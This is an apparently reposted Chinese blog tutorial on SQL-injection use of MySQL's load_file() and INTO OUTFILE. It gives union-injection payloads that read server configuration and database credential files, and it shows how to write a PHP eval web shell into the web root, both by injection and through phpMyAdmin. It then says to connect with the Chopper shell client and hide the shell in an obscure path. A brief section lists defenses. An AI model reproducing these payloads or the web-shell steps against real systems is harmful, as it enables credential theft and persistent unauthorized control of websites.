mysql load_file()和 into outfile

Posted 风水师

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql load_file()和 into outfile相关的知识,希望对你有一定的参考价值。

 

0x00 load_file()

  • 条件:
1. 要有file_priv权限
2. 知道文件绝对路径
3. 能使用union
4. 对web目录有读权限  
注:若过滤了单引号,则可以将函数中的字符进行hex编码
  • 一般步骤

    • 读/etc/init.d下的东西,这里有配置文件路径
    ?id=1‘ union select 1,2,load_file(‘/etc/init.d/httpd‘)
    
    • 得到web安装路径
    ?id=1‘ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf‘)
    
    • 读取密码文件
    ?id=1‘ union select 1,2,load_file(‘/site/xxx.com/conf/conn.inc.php‘)
    

0x01 into outfile

  • 条件:
1. 要有file_priv权限  
2. 知道网站绝对路径  
3. 要能用union  
4. 对web目录有写权限  
5. 没有过滤单引号
  • 一般方法
    当知道路径时,可以直接用?id=1 union select "<?php @eval($_POST[‘c‘]);?>" into outfile("C:/phpStudy/WWW/a.php")




  • 其他方法

    • 登陆phpMyAdmin
    use test;  选择数据库为test
    create table aaa(bbb varchar(64));   在数据库中创建一个表aaa
    insert into aaa values("<?php @eval($_POST[‘c‘]);?>"); --在aaa中插入一条数据<?php @eval($_POST[‘c‘]);?>
    select * from aaa into outfile ‘C:/phpStudy/WWW/a.php‘; --将aaa中的数据导出到文件a.php
    
    • localhost:80/a.php能访问
    drop aaa; --删除建立的表
    
    • 然后菜刀连接
    菜刀连接http://www.aa.com/a.php,然后更改shell的名字并将shell放在较隐蔽的地方,比如C:phpStudyWWWphpMyAdminsetuplibcommon.php

 

 

1、如果mysql服务器就是你要导出文件的机器,那么可以直接用select …into outfile语句。

 

select * from rank into outfile "/home/a.txt"

 

2、如果MYSQL服务器是单独的机器,我们是在一个client上进行操作,我们要把数据结果导入到client机器上。可以使用mysql -e语句。

 

mysql -uroot -proot -P3306 -h10.35.13.89 dbname -e "select * from rank" > /home/a.txt

 

3、使用mysql的tee(T)命令,也就是把MYSQL的所有输出都输入到指定文件。

 

mysql>tee /home/a.txt
mysql>select * from rank;
mysql>exit

 

 

mysql> T output.txt
Logging to file ‘output.txt‘
mysql>
Outfile disabled.

 

0x02 防御

  • 数据库连接账号不要用root权限
  • php关闭报错模式
  • mysql账户没有权限向网站目录写文件









以上是关于mysql load_file()和 into outfile的主要内容,如果未能解决你的问题,请参考以下文章

四MySQL 提权方式

mysql中函数load_file()问题

Load_file 常用路径

MySQL注入Load_File()函数应用

任何网络用户如何安装或更改 MySQL 以使用函数“load_file”?

在 Debian Stretch 上运行时,mysql 5.7 load_file 不起作用